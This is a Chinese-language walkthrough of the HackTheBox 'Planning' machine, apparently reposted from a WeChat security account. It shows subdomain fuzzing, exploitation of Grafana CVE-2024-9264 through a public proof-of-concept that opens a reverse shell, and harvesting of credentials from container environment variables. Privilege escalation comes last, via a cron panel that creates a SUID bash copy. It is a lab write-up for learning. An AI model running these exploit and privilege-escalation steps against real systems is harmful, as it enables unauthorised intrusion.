关注公众号夜风Sec
,持续分享各种工具和学习记录
,与师傅共同进步
靶机信息
As is common in real life pentests, you will start the Planning box with credentials for the following account: admin / 0D5oT70Fq13EvB5r
信息收集
nmap
nmap --min-rate 10000 -A -p- 10.10.11.68 -Pn
PORT STATE SERVICE VERSION22/tcp open tcpwrapped|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)80/tcp open tcpwrapped|_http-server-header: nginx/1.24.0 (Ubuntu)
web & 目录爆破
dirsearch、feroxbuster
没有爆破出有用的。
访问80端口,没找到有用的信息
子域名
最开始没有找到,换了字典才找到( 要用多个字典,且好用的字典 )
ffuf -c -u 'http://10.10.11.68' -H "Host: FUZZ.planning.htb" -w /home/yefeng/fuzzDicts-Pro/subdomainDicts/main.txt -fs 178
grafana [Status: 302, Size: 29, Words: 2, Lines: 3, Duration: 217ms]
将grafana.planning.htb
添加到/etc/hosts
中
访问
web & 目录爆破
访问 http://grafana.planning.htb
网页标题就是grafana
,且给出了版本信息Grafana v11.0.0
登录框,这个靶机给了一个凭证,尝试,可以登录进去
谷歌寻找poc
CVE-2024-9264
https://github.com/nollium/CVE-2024-9264
https://github.com/z3k0sec/CVE-2024-9264-RCE-Exploit
第二个可以直接拿shell
python poc.py --url http://grafana.planning.htb/ --username admin --password 0D5oT70Fq13EvB5r --reverse-ip 10.10.XX.XX --reverse-port XXXX
通过id
,发现是直接得到了root
权限,但是没有flag
啊,猜测是位于docker
内部
果然,位于docker容器内,所以需要逃逸出去
看了一眼环境变量,里面有一个USER和PASSWORD
enzo/RioTecRANDEntANT!
尝试ssh登录 成功
ssh -> enzo
$ ssh [email protected] The authenticity of host 'planning.htb (10.10.11.68)' can't be established.ED25519 key fingerprint is SHA256:iDzE/TIlpufckTmVF0INRVDXUEu/k2y3KbqA/NDvRXw.This key is not known by any other names.Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added 'planning.htb' (ED25519) to the list of known hosts.[email protected]'s password:
得到user.txt
提权
linpeas.sh & Mysql
跑一下linpeas.sh
看到一个数据库账号密码,可以用mysql连进去,但是没找到用户凭证
/opt
enzo@planning:/tmp$ cd /optenzo@planning:/opt$ lscontainerd crontabsenzo@planning:/opt$ cd crontabsenzo@planning:/opt/crontabs$ lscrontab.dbenzo@planning:/opt/crontabs$ cat crontab.db{"name":"Grafana backup","command":"/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz","schedule":"@daily","stopped":false,"timestamp":"Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740774983276,"saved":false,"_id":"GTI22PpoJNtRKg0W"}{"name":"Cleanup","command":"/root/scripts/cleanup.sh","schedule":"* * * * *","stopped":false,"timestamp":"Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740849309992,"saved":false,"_id":"gNIRXh1WIc9K7BYX"}
/opt里面有一个crontabs,里面有一个密码P4ssw0rdS0pRi0T3c
,但并不是root的,这里面是关于zip解压的密码
netstat
enzo@planning:/var/backups$ netstat -tulnActive Internet connections (only servers)Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:43179 0.0.0.0:* LISTEN tcp 0 0 127.0.0.54:53 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN tcp6 0 0 :::22 :::* LISTEN udp 0 0 127.0.0.54:53 0.0.0.0:* udp 0 0 127.0.0.53:53 0.0.0.0:*
转发8000端口
ssh [email protected] -L 8000:127.0.0.1:8000
访问本地的8000端口,发现有验证凭证,这里通过尝试
root/P4ssw0rdS0pRi0T3c
进去发现是定时任务的控制面板
添加一个suid的定时任务
将bash复制到tmp目录下,且给其suid权限
总结
80端口无有用信息 子域名扫描 ---> grafana -> 版本 & 凭证 ---> CVE-2024-9264 ---> shelldocker内部 ---> env环境变量 凭证泄露 ---> ssh To enzo信息收集 ---> 密码 & 端口信息 ---> 端口转发 ---> 密码登录 ---> 定时任务 SUID提权
原文始发于微信公众号(夜风Sec):HTB - Planning
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论